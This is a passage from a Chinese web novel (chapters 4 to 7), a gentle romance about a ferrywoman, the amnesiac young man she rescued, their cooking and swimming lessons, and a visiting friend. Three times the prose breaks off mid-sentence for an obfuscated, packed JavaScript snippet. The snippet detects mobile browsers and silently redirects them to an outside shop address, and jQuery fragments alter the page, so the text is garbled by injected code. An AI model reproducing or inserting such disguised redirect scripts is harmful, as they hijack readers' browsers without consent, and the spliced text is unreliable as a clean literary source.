真奇怪,虽然十七把头发束了起来,很是整洁一新,但还是想用毛茸茸一词来形容他。 “阿滢?”十七不知发生了什么,不过阿滢没说话他就乖乖地站着没动。 就在这时,外间木楼梯上响起噔噔噔的急促脚步声,听起来不止一人。 两人惊诧对视,随后纷纷转过头,向门口望去。 4. 风鸡炖萝卜 开门一看,都是些生面孔。阿滢眉头不由皱起。 打头阵那人约莫是位小吏,不由分说探身把阿滢和十七上下打量一番,板着脸道:“里面那位郎君,姓甚名谁,户籍归何处,有无路引,一一道来。” 语气听起来不太友善,一下子让阿滢想起自己被官府抓去,再三审问的场景,难免生出一丝反感。 见她二人不言语,小吏身后的妇人挤上前来,“官爷,我敢保证我从未在芙蓉村见过这位郎君,他突然出现在林子里,我正挖笋呢,吓我一跳,反正我觉得他鬼鬼唧唧肯定有问题!” 另一妇人也说:“是呢是呢,这位郎君还问我二人,他捡的柴能不能用,这不是明知故问么。官爷,我怀疑他在装傻,有大问题!” 阿滢听了很是火大,十七在林子里捡柴捡落叶,碍着她们吗。不过,他确实来历不明……这点是他们理亏。 好在这时小吏及时道清来意:“近来平洲府境内走失多位孩童,风声鹤唳,两位嫂子都是有孩子的,见到生人不免生疑。” 小吏今日正好被县令派到村上做事,对于住在江边的施滢姑娘有所耳闻,施滢姑娘抄着柴刀以一敌十的旧闻他可是听同僚谈过不止一次。因此很是担忧,单纯的施滢姑娘不会又惹上事了吧。 眼下见她对陌生郎君多有维护,小吏心中疑惑不已。 “原是如此。”阿滢点点头,“十七是我从江里救起来的,但他失了记忆,不记得自己为何落水,更不记得自己是谁。我不知孩童走失是何时发生的事,十七在我这边已经半个多月,一直在我眼皮子底下,因此他与走失案无关。” 小吏三人纷纷愣住,没想到阿滢竟肯说实话。 两位妇人交头接耳:“半个多月,那不是他。” “走失案好像是七天前的事?” “嗯,差不多七八天。” “既如此……”小吏听闻施滢姑娘又见义勇为救了人,心生佩服,但有外人在,他不好表现得太过明显,只清清嗓对妇人说:“这下你们放心了。” 闹了一场误会,妇人们面露尴尬,连忙找借口臊眉搭眼携手离去。 小吏则朝阿滢拱了拱手。 “施姑娘高义,尹某敬佩。” 原来小吏的父亲十数年前失足坠江,当时江上岸边有不少人,但因他父亲脾气差,惹人嫌,竟无一人出手相救,令他心寒不已。 阿滢诧异地睁大了眼睛。 她不擅长安慰人,好在小吏丧父已有多年不需要安慰,他很快进入正题。“施姑娘,我这人办事一码归一码,虽敬佩你侠肝义胆,但既然听说了这位郎君并非本县人士,那我肯定要公事公办。” “你放心,并非把郎君带走,而是……”小吏话茬一顿,来了有一刻钟他已感受到面前两人的关系意外的亲密,对此他不好过多评价,“我可以帮郎君申请流民入籍,官府鼓励流民垦荒或做工,你看看要为郎君担保吗?” 考虑到阿滢年纪尚轻,或许识人不清,小吏善意提醒道:“倘若郎君日后犯事,施姑娘你作为保人,是要连坐的,还请三思。” 阿滢回头看了十七一眼。 随后几乎是不作他想,告诉小吏:“我可以为他担保。” 小吏沉默几息,“好,请教郎君的姓名、年龄。” 这可把阿滢问住了。 “我有给他起名来着。”阿滢说着,转头问十七,“你跟我姓好吗?我姓施,户籍上你就叫施十七。” 十七焉有不同意的,他点头,“一切依你。” 于是阿滢又和小吏讨论到底是把他记成十九岁好,还是二十岁。因为本朝设有丁口簿籍,二十岁至五十九岁的男丁是会被摊派差役和丁税的。十七既已失忆,那年龄的填写上是可以做一做文章的。 最终敲定,记成十八,反正十七生得年轻,能晚两年交税服役就晚两年。 阿滢对这些可以说是一窍不通,多亏小吏提点。她是由衷感谢,送礼也很大方,包了块腊肉,又把自己褡裢里的一口袋鱼松取出来,悉数赠予对方。 小吏哪里肯收。 两人推据拉扯的同时,十七的目光落在那只羊皮小口袋上。 鱼松,他没听过,亦没见过。阿滢随身放的,说明很重要,或者她喜欢吃。 如此之物,就这样赠予生人吗…… 又想到对方称阿滢为施姑娘。 阿滢从未对他说过姓氏…… “十七?十七?发什么愣。” 十七回过神,见阿滢踮着脚把腊肉挂回去,他个子高,不用踮脚就能做到,于是伸手帮她。 只是,小吏没收腊肉,收了鱼松? 十七挂好腊肉之后环顾一圈,见褡裢敞开的模样和刚才如出一辙,心下一涩。 那人果然收了鱼松,连同羊皮小口袋。连吃带拿,他怎么好意思的?还有当吏的样子吗? “好了,我来教你蒸米饭。”阿滢并未察觉十七的异样,自顾自淘米,另嘱咐十七拿两根萝卜出来。 “嗯。” 十七这回不应“好”,只应了“嗯”。 可惜阿滢仍未察觉。 风鸡和瑶柱都是干货,经过泡发,焕发出一层明亮的光泽,拿它们炖煮,增香添味不说,还丰富了口感。 关于干货的泡发,阿滢都是从赵婆婆那儿学来的,这不妨碍她当作自己的学识,传授给十七。 她喜欢看他崇拜的眼神。 十七忽然问:“不用放盐?” “先不放。”阿滢回过神,指着大卸八块的风鸡和江瑶柱说:“它们都自带咸味,即使泡了很久,也还是有盐分,而萝卜特别能吸汁,要是我们另外再加盐,多半会咸得发齁。” 她笑着回头:“我们俩口味都不重。” “嗯,我们俩口味都不重。”十七下意识跟着重复一遍。只不过他的重音落在“我们俩”。 白萝卜十七吃过,那时阿滢拿来切丝和鱼脍拌在一起,这回则切大块炖煮在汤里,十七举一反三发问,还有没有别的吃法。 阿滢说当然了,“剁碎,与肉末一起捣成馅,包包子或者馄饨都很合适,只是要注意白萝卜很能出汁;还有就是腌成酱菜,要是我阿娘在,你就有口福了,阿娘腌的萝卜最为爽口,而且会放酸梅哦。” 讲起吃的门道,阿滢一时间停不下来,转眼讲到萝卜粥还能治消渴。 十七则静静听着,偶尔侧目看一看她。 或许是生长在山清水秀之间的缘故,阿滢的眸子生得格外灵动,性子也爽利。她风风火火的做事风格,更是让人忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488374|202119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住相随。目光相随,行动也相随。 不知过去多久,浓郁的饭香菜香交织融合,随着热气飘到两人鼻尖。 汤面浮着一层鲜亮油脂,随着端碗上桌的动作,淡黄的油花颤颤巍巍地晃了晃,实是赏心悦目。 只可惜阿滢讨厌油花,觉得糊嘴巴,捧着小碗不断吹拂。朵朵油花如同灵活的鲜鱼,被倏地吹走,没几下又晃悠回来,因此吹完就要赶快喝,才能完美避开油花。 阿滢终于呷到一口满意的汤汁。 “好鲜亮!” 她舒服得眯起了眼,再搛一箸瑶柱,边吃边对十七说这是赵婆婆给的,南边来的好货。 “赵婆婆说南边比我们这热,江里的鱼虾蟹贝口感也有所不同,真想去瞧一瞧,尝一尝。” 话至一半,阿滢被江瑶柱弹滑的口感惊到,闭起嘴来仔细嚼嚼嚼,只觉满口生香,肚肠惬意。 “只是干货就能这么美味,下次我们吃吃看鲜瑶柱吧。”阿滢说着,脑内已经浮现若干做法,只待假以时日大展身手。 十七亦觉美味,只是他这人用饭一向文雅,细嚼慢咽,餐间少言。 比起阿滢对江瑶柱口感的夸赞,十七更在意风鸡。初见那日,风鸡高悬屋梁,张牙舞爪,活像飞天大耗子,把他吓得够呛。 当自己亲手把它摘下来泡水,剁成块,闻着它浓郁的腊香,心境自然而然发生改变。 皮紧,肉劲,即便经过长时间炖煮,也不曾散了架子,甚至皮子变得半透明,可称晶莹剔透。 一碗风鸡江瑶柱炖萝卜汤,滋味繁复,有肉香有江鲜,最最灵魂的则是一夹就成两半的萝卜块,压在米饭上,汤汁尽数淌出,混在一起填入口中,别样满足。 一餐饭下来,竟把十七吃得肚皮饱胀。 他羞赧,他汗颜。 阿滢却是眼睛亮了又亮,“就是这样,多吃些好长身体。” 都说人生三大苦,撑船打铁磨豆腐,阿滢自小便知阿娘做的是卖力气的活计,也深知阿娘三令五申叫她吃饱吃好的良苦用心。 身子强健才有力气摆渡挣钱,才不会被人欺负。 虽不知十七的身子究竟为何那么弱,阿滢想,总能补过来的。 “说起来……”阿滢少见地露出犹豫神色,坐在对面的十七立马放下碗筷,毕恭毕敬地换成了十分端正的跽坐姿势,像是拿出万分诚心来听从什么指令。 阿滢见此语塞了一下,尔后说:“我教你泅水怎么样?” “住在江边没有不会泅水的,万一你哪次不当心又落水,而我不在身边,没人救你怎么办?当然了,你前不久才落水,心里害怕我也可以理解——” 十七深呼吸打断道:“我可以,阿滢,你教我吧。” 说到底他也不知自己会不会对江水有所恐惧,不过有阿滢在身边,总觉得一切都不难。阿滢就是这么一个让人心安的人。 “只是,你今日不用渡客吗?”十七问。 阿滢扬起下巴笑了下,“所以你认真学,快快学,要是一个下午就能学会,就不会耽误我明天出工。” 其实是话赶话临时起意教泅水,要是犯懒拖到以后有空再教,说不定十七就不肯了。阿滢忍不住夸自己足智多谋,面上并不显露,只让十七和她一起收拾食桌。 5. 秘密 在此之前,阿滢从未想过有一天自己会觉得认真也是一种缺点。 或许十七这样的不叫认真,而是过于谨慎? 他事无巨细地询问,学泅水是不是要褪去衣服、是不是要先学闭气、江水有多深、江岸最底部是石头还是泥土…… 阿滢可以说是一问三不知,“哪有那么多条条框框?小时候江边长大的孩子都是直接入水的,倘或有谁不敢,我们就把他抬起来往水里一丢——你别怕,我不会丢你。” 在十七的好说歹说之下,阿滢终于同意他先在家里拿盛满水的木盆练习憋气,虽然她不知为何先练这个。 不过好消息是阿滢发现十七不怕水。 “那你半只脚已经——”阿滢话音一顿,想说的是半只脚已经迈进棺材,不对不对,不是这个场景,“不管了,反正你不怕水已经赢了一半。” 甫下水阁扑面而来的就是江风。 今日依旧是个晴朗的好天,远远的能看到对岸修竹林立,郁郁葱葱,甚至连仙石村菩提寺上空的佛香都隐约可见。 来到开阔处,阿滢给十七指了方向,“你还没坐过我的船,我摆渡就是从这儿,到那儿。偶尔有些文人雅士要去沙洲垂钓,也会搭我的船,不过他们通常瞧不上这种小舟,要么家里有船,要么雇更大更华丽的那种画舫。” 本意是与十七谈谈天舒缓一下紧张的心情,谁知他埋头就往水边走,一副一个猛扎子就要入水的样子,阿滢见状赶忙将他拦腰薅住。 “要先热身呐,急什么!” 这些年来不是没见过有人一入水就腿抽筋,原因是他们觉得春夏秋三季的水不凉,可是人的身子和鱼的身子毕竟不同,凫水终究还是去到人家的地盘,该适应的是人,该做准备的也是人。 阿滢松手,刚要带十七在周围跑动跑动,却见他微微发愣。 “怎么了?你要是没准备好,我们就先回去。” “没……”十七不自在地偏过头,手掌下意识扶腰,贴在刚才阿滢环抱过的地方。 阿滢是这样一个坚韧的人,可她靠过来时,却满是柔软与馨香。 十七莫名有些耳热,再也不是当初直愣愣唤她娘子的模样了。他清晰地意识到,阿滢是女子。 现在才有这种意识实在是太迟、太荒谬了,再想下去,就是对救命恩人的冒犯,十七用力摇了摇头,把注意力放到凫水上。 热身过后,阿滢终于允许他靠近水源。 “之所以不让你先学憋气,是因为你不会水,一憋气身子就会变僵。”阿滢扶着十七,让他在岸边适应水感,尔后继续道:“变僵了,你就没法在水中漂浮,反而会迎来你担心的局面,也就是像大石头一样沉下去。” 就阿滢自己来说,特别喜欢在水里的感觉,身子变得轻盈,游完饿得也快,往往能吃掉三大碗汤面。 而十七……稍显笨拙。 阿滢想,她绝对不是一位好师傅,她只会凫水,而不知如何学会凫水。 当十七适应在浅水行走之后,阿滢迫不及待牵着他去往深一些的水域。她个子没他高,她认为合适的水域和实际上适合他的并不相同,因此阿滢不断看向十七来调整。 忽而,阿滢静了静。 他脖子以下几乎湿透了。 如同那晚被她救回来,只穿了一层单薄的素色里衣,一湿透便完全透明。而十七腰以上部位都露在外面,她清晰看到他的肩膀轮廓、锁骨、胸膛、腰线。 湿衣,竟比她买来的贵价绢衣合身多了。 “要是乔乔在就好了,她针线活鲜亮,直接买布匹,拿给乔乔裁衣,会贴合很多。”阿滢喃喃道。 俏郎君就是该配上剪裁合适的好衣服啊,肯定俏上加俏,俏出芙蓉村,俏遍整个平洲府! 十七垂首看她,“乔乔是谁?” 阿滢答是她最最要好的朋友,“乔乔全家搬到平洲府了,官老爷请乔乔的爹当师爷,乔乔是这样和我讲的。” 十七本能地噢了一声算作回应。 实际上已经神游太虚,思绪渺远。 那位未曾谋面的乔乔,是阿滢的友人。相处这些时日,见阿滢只与赵大夫来往,他险些忘了阿滢是个有记忆的正常人,肯定有过往,有童年有少年,除了赵大夫、乔乔,她肯定有更多的友人、熟人…… 十七心里有种说不上来的滋味,心口发闷。 两人都没心思学凫水,干脆上岸,踩在沙石上,鞋底发出嘎吱嘎吱难听的声音。 阿滢也想了片刻的乔乔。 乔乔答应过她,一定会回来看她。阿滢相信乔乔,很快就把小小的忧愁赶跑了。她看向十七,“我教你唱渔歌吧?你保准没听过,无论失忆前还是失忆后都没听过。” 因为是她自己琢磨的曲调。 词儿也是瞎唱的。 阿滢生得水灵,嗓子也清透。听她日常说话尚且不觉得,现今听一听她的歌声,竟如同有羽毛不断刮擦耳廓,痒痒的,又很舒坦。 “对了对了,十七的声音很好听啊,你也试试跟我一起唱。” “我吗?” 阿滢笑着点头,唇边笑涡明显。 一开始十七奄奄一息又泡了水,她需要凑得很近才能听清他在讲什么,再后来他险些把屋子点着了,呛了许多浓烟,嗓子哑哑的好像鸭子叫。 如今养好了,再听十七的声音,便觉得与他的容貌很是相衬。 然而十七从未在任何时刻高声讲话,更别提在江边大喇喇唱渔歌。 他不知所措地望着阿滢。 江风徐徐,松涛阵阵,她就站在几步远的地方,笑起来如经山水滋养,灵气逼人。午后阳光也偏爱于她,和煦而温柔地照拂着她的发丝、她的脸庞。 在阿滢的注视下,十七心跳得越来越快,头脑也一阵阵晕眩,像是身体在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488375|202119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与意识进行最后的抗争。 混沌的识海隐约浮现一道身影,它在说:“食不言,寝不语。”它又说:“声容静,头容直,气容肃……” 一字一句没有任何声调起伏,板正得像是刚从《论语》《礼记》中走出。 那是谁?夫子? 这是第一次出现过去的记忆,率先想起的,竟是夫子吗? 十七不敢置信,仓惶摇头。 “对不起,我又让你失望了。” 这句话如同刻在他的骨血中,十七熟练地一遍又一遍道歉,歉疚感与负罪感很快将他淹没。这是近乎溺水的感受。 “十七,十七。” “施十七!!” 十七缓缓恢复意识,撞入眼帘的,是阿滢焦急的神情。 “你是不是不舒服?”阿滢扶着他肩膀,轻手轻脚,似乎担心一个轻微摇晃就会伤到他。见了十七方才痛苦的模样,阿滢一阵阵后悔,“应该等你完全好了我们再出来,刚才入水你吓着了,心有余悸对不对?” 阿滢的良心回来了,并且这颗良心不断谴责她,怎的把人搞成这样。 乔乔总爱说她像野猪,能吃能睡,浑身是刺,又横冲直撞。可十七不是野猪,按赵婆婆的话来说,他虚弱着呢。 “你怎么不说话?十七,你还记得我吗?” 担心他又失忆,阿滢一叠声追问。 十七忍着头痛欲裂,投去安抚的眼神,语气也不自觉柔和很多,生怕惊着她似的:“我怎么会忘了你,你是施滢,我是施十七。我没事,也不是畏水,衣裳湿了再吹风,有些受凉。” 阿滢很好骗,听了这话拍拍胸口说吓死了,“既如此,我们赶快回去,来,我扶你。” 她把十七的胳膊甩到自己肩上,但这样扶着高个子走路很是别扭。 阿滢问:“要不我背你?” 十七吓了一跳,脑子都清醒了几分,“我能自己走。” 顿了顿,他问:“那天晚上,你把我从江边背到水阁?” “是啊,不然呢?” “……”十七看着比自己矮一个头但是浑身是劲的阿滢,深深觉得自己该练练身体了,还有泅水,一定要学会。 阿滢看他脸色就知道缓过来了,于是玩笑道:“你不要不好意思嘛,我连你身子都看过了,背你又有什么呢。” 啊,好像不好笑。 阿滢讪讪闭嘴,眼见刚才还脸色煞白全无血色的十七的脸,倏地变成绯红色。 甚至他力气上来,快走几步,只留背影给她。 阿滢看着看着,不由把双手负在身后,故作老成地叹口气:“现在的年轻人啊,不够稳重。” 稳重如她,一直没有告诉任何人,少年时她听闻风雨狂作时天上会掉鲜鱼下来,于是她向上天许愿: 要是哪天掉下一个俏郎君就好了。 谁知几年后,竟成真了。 6. 瑶柱韭肉锅贴 “我回来啦——” 阿滢三步并作两步登上水阁,边进门边喊十七,“你猜我带回来什么好东西?” 咦。 十七竟又把家里收拾了一遍。 再看栏杆上晾着的,不是昨日她换下的外衫么,他竟然给洗了? “你回来了。”十七迎上来,帮她卸背篓,见阿滢视线停留在栏杆上,便说:“衣服昨日泡了江水,不洗的话会有味道。你放心,日头好,很快晒干,你要是急着穿,吃完饭就可以收进来穿上。” “不不不。”阿滢在意的不是洗不洗衣服这件小事,而是…… “十七啊,你真是公子哥吗?看起来没什么常识要是放任你一个人住估计没两天就能饿死,或者被毒草噎死,但是你很勤快呢,在家这些事情应该都是仆人给你做的吧,浣衣、整理床铺、梳头,这些你都做得很好。” 一番话听下来十七更加汗颜。 这些都是再小不过的事,力所能及的,就算是五六岁小孩子都能做吧。 阿滢却说,她指的不是具体的事,而是眼里有活,以及愿意主动去做。 撑船渡客这些年来,阿滢见过不少养尊处优或是被娇惯坏的公子小姐。 打伞由仆人打;喝水要仆人倒好了送到嘴边,要是温度不合适就要发脾气;明明自己抬个手就能解下披风的系扣,也要等仆人过来…… 看来十七的家里人把他教得很好呢。 阿滢回过神,拉着十七出去。 伏在栏杆往下望,便能看见她的那艘小船。往常都是空船回来,今日却载着许多竹子。 “这是我从对岸仙石村拉回来的。”阿滢笑着说:“给你打一张竹床怎么样?” 十七在家说不定睡的是那种华贵厚实的紫檀架子床,在这里却只有一张草席,太流民了。 还是竹床好,天热了睡竹床凉快,最重要的是搭建很简单。 两人合力,一个时辰不到就把竹床搭好了。 阿滢哼了声,“我就说那老汉多要我钱了。你不知道,我本来想在村市直接买一张现成的,但那老汉说要排期,今天定下的话,五日后才能交付,而且开价一贯钱!现在我们俩门外汉都能搭好。”她笑嘻嘻的,自信心无限膨胀,“我们也能去村市摆摊卖竹床了。” 十七忽然道:“我确实有所打算。” 阿滢愣,“卖竹床?” 十七道:“蓑衣、斗笠、蒲扇,这三样我已经编得很熟练了,可以去村市摆摊,没有顾客的时候我就在那边编织,有顾客就售卖。你撑船辛苦,再去集市卖货,来回奔波劳累。” “好呀,你边编边卖的话,人家现场就能看见过程,更可信了。” 阿滢想了想,更加觉得今天的仙石村之行很是值得。 去仙石村除了搬竹子,其实她还进了菩提寺。 老早以前听船客讲,愿望实现是要还愿的,不然影响运势和福报。 阿滢不懂这些,包括许愿也是随口说说的。但架不住她早上起来眼皮一直跳,跳得她心慌。这不,佛寺一去完,眼皮立马不跳了。 这时,十七说:“今天教我新的菜式吧。” “哈哈不忙学。”阿滢打着哈哈,顾左右而言他,还突发奇想把被褥拿出去晒,佯装很忙在屋里转了一圈又一圈。实在没法了,才和十七坦白:“我觉得以后做饭就我自己来吧。” “……”十七低下头,“我做的不好吃。” 倒也不是不好吃,只是没必要。十七爱干净,恨不得摸个生肉就要洗一次手,洗完手就要拿布巾擦干,不能有残留水珠,擦手还不算数,要把菜刀柄也擦一下;野葱根部须须更是要洗上两盏茶的工夫,费时又费水。要知道他们住在二楼,用水都是从外面往里搬,他这么用下来,每天啥事不做,光抬水搬水了! 对此,阿滢当然不会说实话。 她把十七的脑袋扶起来,盯着他的眼睛激励道:“每个人做自己擅长的事,不好吗?你做的蓑衣特别扎实,要不是现在不下冰雹我真想披上蓑衣出去试试。就像你刚才说的,去村市卖卖看,往后你的蓑衣出名了,可别忘了冠上施姓,我阿娘泉下有知也会感到欣慰。” 把阿娘都搬出来真是不容易。 好在十七很快被打动,决心废寝忘食精进编织技艺。 阿滢长舒一口气。 太好了,省下一缸水。 只是,“废寝忘食”听起来会浪费灯油。 阿滢赶紧中断他的思路,“编织不急于一时,先想想中午吃什么。” 十七的手停在蓑衣上,“什么都可以吗?” 阿滢瞪他:“当然不是,你还想吃龙肉啊。” 十七道:“那天我见你给小吏一口袋鱼松,不知是什么鱼的肉?我没有别的意思,只是这些时日认识了不少鱼,白条、青愣子、土憨巴……不知何种鱼适合制成鱼松。” 阿滢噢了声,“就是最普通的草鱼,肉厚刺少,还没泥腥味。其实土憨巴更好吃,但它总喜欢潜伏在江底,要拨开石缝水草才能看见,我懒得抓。” 说完她就去看泡发的江瑶柱了。 今天打算做锅贴,肉馅里拌入江瑶柱和韭菜。春韭秋菘,什么季节就吃什么季节的菜。 “是吗。” 身后十七的声音低低的。 阿滢被提醒了,“刚问你要吃什么,一打岔就给忘了。没有特别想吃的东西那我就看着做了。” “鱼松。”这回,十七给出了一个准确的答案,并且近乎于抢答。 “欸?” 阿滢眨眨眼,把记忆倒推回去,一句句梳理。 嘶,十七这是好学还是好吃,只见过一回鱼松就惦记上了。 “那行。”家里本就养着土憨巴,阿滢让十七过来,自行挑选,“我那个鱼松是当零嘴解闷的,炒得干了些,你吃的话,我就炒软些,怎么样?” 两人蹲在缸边,看着尚不知发生何事的两条傻鱼。 阿滢戳了下鱼尾,说:“城里叫它步鱼,我觉得还是土憨巴这个名字比较适合它,看,丑丑的,呆呆的,在江里它也就吃些小虾米。” 十七没说话,和土憨巴大眼瞪小眼。 少顷,他说:“炒干些吧。” 阿滢无可不无可,故作狞笑地伸出魔爪,把其中一条土憨巴捞出。 “桀桀桀,鱼公子,遇上我你可是触霉头了!” 触霉头是平洲府当地的乡音,前阵子刚学的,十七正笑呢,冷不丁被鱼甩了一脸水。 阿滢哈哈大笑,忽而想起上午在菩提寺学到的歇后语,“大水冲了龙王庙——自家人打自家人。” “我不是鱼。”十七把脸上溅到的水珠擦了,仍觉得有鱼腥味。 不过,听清阿滢说的歇后语,他脸都不擦了,心情大好地摸摸土憨巴的鳍,愈发觉得它憨态可掬。 ——他不是鱼,但他是“自家人”呢。 突然,响起一阵急促叩门声。 叩叩叩狂敲不止的架势,简直像来寻仇的。 十七眼皮狠狠跳了一下。 他看了眼土憨巴鱼,趁阿滢站起来去开门,十七也不管鱼身滑溜溜让他不自在了,抓起鱼就往水缸一扔。 土憨巴鱼重获自由,甩甩尾巴像没事鱼一样,和同伴尽情畅游。 十七就没那么轻松了,一边挪到水缸前守护着未来的属于他的鱼松,一边盯着门口,想看看是不是小吏又上门了。 “阿——滢——” 来人是女子,声音嗲嗲的,门一开直接扑到阿滢怀里,嚷着喊着想死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488376|202119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她了。 “乔乔?”阔别数月阿滢都快认不出对方了,“真是你呀。” 随后往乔乔身后望去,“你爹娘没一起回来吗?” 乔乔说没有,他们还在平洲府。“我专门回来看你的,坐了驴车还走土路,累死了。” 不愧是阿滢的好友,话一样密。两人站在门口叽叽呱呱聊了好一阵,又抱又挽的,忽然乔乔眼睛一转,见屋里站着个大活人,“啊呀!进贼了?!” 十七走过去,拱手见礼。 “尊驾便是乔姑娘吧,在下耳闻已久。” 乔乔刚想说哪里来的酸臭儒生味,但随着十七的走近,她很快发现这不是酸臭儒生,而是斯斯文文书卷气十足的英俊郎君。 嘴里那句“我的娘哎”也浓缩成短短的一声“噫”。 观察几息,乔乔胳膊肘撞一下阿滢,嘴角压不住笑,刚要开口,却听阿滢说:“你撞我干嘛?” “噫,你这人。”乔乔有点尴尬,把阿滢拉到门外咬耳朵:“你屋里怎么有个男的,我才走几个月施滢你不得了啊。” 阿滢长话短说,把十七的来历介绍了下。 孰料把乔乔听得一会儿眼睛瞪大一会儿莫名微笑。 “乔乔你怎么去了趟平洲府变得奇奇怪怪。” “我赶了大半天的路饿死了,你快去做饭。” 乔乔和阿滢打小认识,甚至追溯到十八年前,阿滢还喝过乔乔娘的奶,可以说是异父异母的姐妹,说话自然不用客气。 见阿滢在灶前忙碌,乔乔往十七身边凑,脸上带着笑。 谁曾想,十七略带防备地后退一步。 “你怕什么,我还能吃了你不成?”乔乔觉得扫兴,但转念又想,知道与女子保持距离,这位十七郎君还算有点眼色。 阿滢本身便是老饕,又善于螺狮壳里做道场,小小的灶间错落摆放着各种瓶瓶罐罐。乔乔每回过来,都要新奇地这里看看,那里摸摸。 见阿滢蒸鱼不是完整的鱼,而是碎肉,乔乔一下就明白了,眼睛亮晶晶地凑过去,“要炒鱼肉松吗?太好了,我有口福了。” 十七一听,眼皮又跳起来。 他很没风度地走到阿滢和乔乔中间,说:“都怪我临时想尝尝鱼松,这都到饭点了,乔姑娘不是说饿了么,不如鱼松先放一放吧。” “好挤,你们别挤在这。”阿滢往边上挪。 然而乔乔捂着嘴嗤嗤笑,阿滢觉得莫名其妙,对十七说:“没事,我们灶上不是有两个眼嘛,一边蒸鱼、炒鱼松,一边煎锅贴,谁也不耽误。” “好了你们俩都让一让,我要揉面了。”阿滢只想把人赶走,“十七,你招呼乔乔喝水,果子也洗一洗给她吃。” “好。”十七眼皮不跳了,眉宇舒展,朝乔乔比了个“请”的手势。 韭菜剁碎,猪肉也剁碎,江瑶柱则要保持完整,白而嫩,珍珠似的陷着。皮嫩,肉香,筷子一挑,一汪鲜汤。 阿滢不用尝就知道错不了。 “开饭开饭,十七食桌摆好了吗?” 哪里还用她吩咐,他早就摆好,人也站到灶前,端走两碟凉拌菜。 阿滢让他俩先吃,鱼肉蒸熟趁热挑净小刺,她还有的忙呢。 于是食桌前只剩十七和乔乔面面相觑。 十七想了想,把自己的蒲团递过去,“乔姑娘,你用吧。” 乔乔愣了下,反应过来阿滢家里只有两个蒲团,平时她来这边都是有蒲团用的,如今,多了一人。 而这人显然觉得她才是多余的。 千言万语,化作一声噫。 乔乔想,等阿滢忙完,她肯定要告状。 明明她才是阿滢最好的朋友,这人懂不懂先来后到,轻重缓急啊!就算长得好看也不行! 7. 槐花粉 小小一只锅贴,馅足得都透出来了。 底部微焦,口感爽脆,是乔乔最喜欢的部分,她搛起来咬开小口,嘬一嘬汤汁,鲜得眼睛弯成月牙儿。 “阿滢,这比我在平洲府吃的鲜虾荸荠锅贴还要鲜呢!” 荸荠也叫马蹄,她们在江边讨生活的人家洗净就直接咬来吃,生荸荠有一股别样的清甜。煮熟之后的口感也不赖,但阿滢总觉得像山药,泯然众食材了。 她道:“你在平洲府经常下馆子么?还有什么新奇玩意,快给我讲讲。” 乔乔一愣,把嘴里的锅贴咽了,避开第一个问题,说:“县市比村市热闹,往常去县市逛一逛就觉得开眼界了,谁知道平洲府有那么多好吃好玩的,县市都不算什么了。” 这话题开了闸就收不住,一壶茶倒来倒去光是茶具就有十几二十种要讲,鹦鹉吃的比人金贵要讲,大户人家小姐鞋头嵌着的珍珠也要讲…… 乔乔讲得口干舌燥,阿滢这边终于炒好鱼松,两三斤的鱼只能出一小碗肉松,费时费力,但滋味是极好的。 鱼香满溢,乔乔深深吸了口气,原是享受的,忽然胃气翻涌,竟有些作呕。 阿滢十七俱是一惊。 十七倒水给她,阿滢则问:“是不是赶路太过颠簸,累着了?” “唉,我近来闻不得鱼味,油花太大的也不行,最近不是吃笋子的时节么,我娘做的油焖笋,要先在油里飞一遍笋块,我闻着竟也要作呕,更别说吃了。” 乔乔蹙着眉,瞅了眼十七,觉得自己说的太多。 不过也是奇了,鱼味闻不得,油味闻不得,面前这道瑶柱锅贴倒是吃着香。 想必这就是异父异母姐妹的缘分,别人血浓于水,她俩情比金坚! 想到这里,乔乔不介意十七刚才给她让蒲团的行为了。 她把鱼松往十七面前推了推,“你有口福了。” 饭后,十七洗碗,乔乔借口回自己家收拾,把阿滢拐了出来。 到了外面不必再鬼鬼祟祟咬耳朵,乔乔直言道:“你那个十七,很有主人家的意识嘛,当他自己当自家人,把我当外人。” 阿滢音调上扬地哦了声,“是吗,我觉得他挺友善的。” 乔乔哼道:“十七入籍干脆给他登记成你夫婿好了,怎么登记的是雇工啊。” “夫婿?!”阿滢说她才不要。 “搭伙过日子罢了,改天他想起自己家在哪,或者家里人找过来,那就好聚好散。”阿滢态度挺无所谓的,“我没想跟他成亲。” 乔乔嘟囔:“那你对他那么好。” 阿滢说:“我对你也好啊。” 乔乔微恼:“不一样!” 不过考虑到阿滢打小自在惯了又没父母管束,想法异于常人也属情理之中。 乔乔家离得不远,江畔石头屋,还有围起来的小院。数月无人,积攒了些许灰尘,略微打扫一下,两人并肩坐下。 这时阿滢终于回过味来,乔乔爹娘只有她一个孩子,向来宝贝,今天怎么会允她一个人回村? “你是不是在平洲府惹事了?” 